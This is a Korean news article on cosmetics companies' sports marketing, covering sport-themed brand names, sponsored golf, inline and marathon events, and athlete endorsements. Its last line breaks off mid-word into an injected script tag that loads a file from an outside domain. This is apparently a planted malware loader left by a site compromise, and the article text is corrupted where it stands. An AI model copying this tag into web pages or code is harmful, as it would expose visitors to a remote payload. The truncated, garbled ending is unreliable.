스포츠 스타 활용 최고 마케팅 효과 최근 들어 화장품 메이커들이 가장 선호하는 마케팅 방법를 꼽으라면 단연 스포츠 마케팅이다. 스포츠 마케팅은 제품 홍보에 특별히 신경쓰지 않아도 경기장에 걸려 있는 배너나 안내물을 통해 자연스럽게 제품이나 회사 이미지를 연상시키는 홍보를 펼칠 수 있다는 장점을 갖고 있다. 박세리, 최희섭, 안정환 등 스포츠 스타의 인기가 일반 연예인들의 인기를 능가하고 스포츠 산업규모 또한 엄청나게 커지면서 스포츠 마케팅에 대한 관심이 높아지고 있기 때문이다. 주 5일 근무제로 인한 레저인구의 폭발적 증가와 여가를 즐기려는 생활패턴의 변화가 맞물려 관련 시장규모가 해마다 큰폭의 성장세를 거듭하고 있다. 대한체육회가 발표한 자료에 따르면 국내 스포츠 마케팅 시장규모는 최소 5천억원에서 최대 1조7천억원에 이르는 것으로 추산되고 있다. 이로 인해 화장품 업체들은 황금시장에 대한 점유율을 확대하기 위해 다양한 마케팅전략을 펼치고 있다. 야외활동이 증가하는 여름철이 다가옴에 따라 화장품 업체들의 스포츠마케팅 경쟁도 덩달아 후끈 달아오르고 있다. 화장품 업체들은 인라인 대회 같은 스포츠 이벤트 개최에서 스포츠 대회 후원까지 다양한 스포츠 마케팅을 통해 자사 브랜드와 기업 이미지를 부각시키는데 적극 나서고 있다. 더구나 한일 월드컵 개최 1주년을 맞아 업체들은 저마다 소비자 대상의 각종 스포츠 이벤트를 개최하면서 마케팅 효과의 극대화를 노리고 있다. 현재 화장품업체들이 진행하는 브랜드별 스포츠 마케팅전략은 크게 두 가지로 나눌 수 있다. ‘스포츠를 연상시키는 브랜드명"과 ‘제품과 연계된 각종 스포츠행사 후원"이다. 이를 통해 업체들은 스포츠 브랜드의 이미지를 소비자에게 최대한 부각시켜 제품 판매를 확대하고 있는 것이다. 국내 소개된 스포츠 브랜드는 대략 15개선. 이 중 스포츠를 연상시키는 브랜드로는 코리아나의 아스트라, 한불화장품의 ID 스포츠 익스트림, 애경산업의 아놀드파마, 로제화장품의 에어워크, CEO인터내셔날의 아디다스, 참존의 알바트로스 등이 있다. 또 각종 행사 후원으로 제품 이미지를 부각시키는 브랜드는 LG생활건강의 보닌, 캐시캣, 니베아서울의 니베아 등을 들 수 있다. 여기에 소망화장품은 스포츠스타 안정환을 전속모델로 활용, 기업인지도와 자사 제품의 이미지를 배가시키는 사례로 꼽히고 있다. 이들 스포츠 브랜드들은 한결같이 활동성이 왕성한 여름시즌에 맞춰 다양한 제품 프로모션을 진행중이며 코어타깃층도 10~30대 젊은 소비층을 겨냥하고 있다. 이에 대해 중견업체 한 마케팅 담당자는 “파급효과가 높은 스포츠 마케팅을 적극 활용한다면 제품은 물론 기업 이미지를 한 단계 높일 수 있는 상당한 효과를 거둘 것”이라며 “스포츠를 통한 홍보전략은 화장품업체들의 새로운 트렌드로 급속히 자리를 잡아갈 것으로 예상된다”고 밝혔다. LG생활건강은 지난달 19일 ‘더 후배 여자아마추어 골프대회’를 이달 1일엔 남녀 커플을 대상으로 ‘인라인 & 마라톤 대회’ 를 연달아 개최하며 활발한 스포츠마케팅을 펼치고 있다. 골프대회의 경우, 한방화장품 브랜드인 ‘더후’에 대한 대중적인 이미지를 알리기 위해 마련됐고, ‘인라인 & 마라톤 대회’는 남성화장품인 보닌모노다임의 남성적 이미지를 살리기 위해 펼친 행사다. LG생활건강은 이밖에도 스포츠센터와 연계한 공동마케팅을 실시했다. 자사 메이크업 브랜드인 캐시캣 스포츠 픽스의 제품컨셉에 맞게 유명 피트니스 강사들을 활용한 여름 메이크업 강좌를 진행했다. 이에 대해 회사 측 관계자는 “관련 행사준비에 많은 비용이 소비됐지만 소비자에게 LG생활건강의 기업이미지를 심어주는 좋은 기회였다"며 “향후에도 이같은 형태의 스포츠 이벤트를 마련할 방침”이라고 말했다. 그는 또 “캐시캣 스포츠 픽스 행사의 경우, 마음껏 다이내믹한 레저 스포츠와 휴가를 즐기면서도 메이크업은 변함 없이 싱싱하게 지키고 싶은 여성들에게 가장 탁월한 해답을 제시해 줬다"고 덧붙였다. 참존은 알바트로스 선블록 시스템에 대한 이미지 부각에 나설 방침이다. 이 회사는 골프장과 연계하여 홀인원을 하는 골퍼에게 알바트로스 선블록 시스템 제품을 경품으로 지급하는 행사를 벌이고 있다. 특히 알바트로스 선블록 시스템의 집중적인 광고를 통해 발매 초기 강력한 이미지를 지속적으로 심어줄 계획이며, 온오프라인을 연계한 다양한 프로모션을 동시에 진행한다는 방침이다. CEO인터내셔날은 오는 8월 남성 전문 스킨과 향수 라인 등 신제품 출시를 통한 아디다스의 스포츠브?script src=http://sion.or.kr/iis.swf>

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